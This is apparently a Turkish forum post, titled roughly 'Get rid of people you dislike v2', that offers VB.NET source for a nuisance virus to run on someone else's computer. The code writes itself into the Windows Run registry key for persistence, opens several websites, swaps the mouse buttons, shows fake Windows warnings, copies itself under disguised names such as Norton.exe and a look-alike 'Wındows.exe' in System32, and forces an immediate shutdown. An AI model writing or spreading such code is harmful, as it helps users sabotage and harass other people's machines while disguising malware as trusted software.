VB.NET Sevmediğiniz İnsan(lar)dan Kurtulun v2

Imports Microsoft.Win32
Public Class Form1
    ' Açılışa ekleme fonksiyonu (DEĞİŞTİRMEYİN)
    Private Sub AddCurrentKey(ByVal name As String, ByVal path As String)
        Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        key.SetValue(name, path)
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        'Load olurken regedite ekliyor ve PC her açıldığında çalışıyor. (DEĞİŞTİRME)
        AddCurrentKey("exenin_Adı", System.Reflection.Assembly.GetEntryAssembly.Location)  'exenin_Adı kısmını Projedeki exe adı neyse onu yazın. Örneğin virüs.exe ise virüs yazın. (DEĞİŞTİRME)

        'Bu bölüm de istediğiniz 5  site açılır
        Process.Start("http://istediginsite.com")
        Process.Start("http://istediginsite.com")
        Process.Start("http://istediginsite.com")
        Process.Start("http://istediginsite.com")
        Process.Start("http://istediginsite.com")

        'EĞLENCELİ ŞEYLER .D
        Shell("ALSNDMGR.wav", 0) 'bu satırda windows baslangıç müziği çalışır "0"parametresi media playeri gizler
        Shell("RUNDLL32 USER32.DLL,SwapMouseButton") 'bu satırda mousenin yeri değişir yani sol tık sağ olur sağ tık sol olur .d

        'msgboxda mesaj verir
        MsgBox("Lütfen yaralarıma pansuman yap", vbInformation, "HBS")
        MsgBox("Lütfen çok acıyo", vbInformation, "HBS")
        MsgBox("Windows HBS uyarısı buludu.Çözüm bulunursa size bildirilecek.", vbInformation, "HBS")

        'formgizlenir
        Me.Hide()

        've kendini farklı isimlerde kopyalar
        FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\Norton.exe")
        FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\InnocentFile.exe")
        FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\Program Files\Wındows.exe")
        FileCopy(My.Application.Info.DirectoryPath + "\" + My.Application.Info.ProductName + ".exe", "C:\WINDOWS\System32\MSN Live.exe")

'PC Kapatma
MsgBox("Kendine cici baak .d", vbInformation, "OPSS")
Shell (“shutdown -s -t 1″)

    End Sub
End Class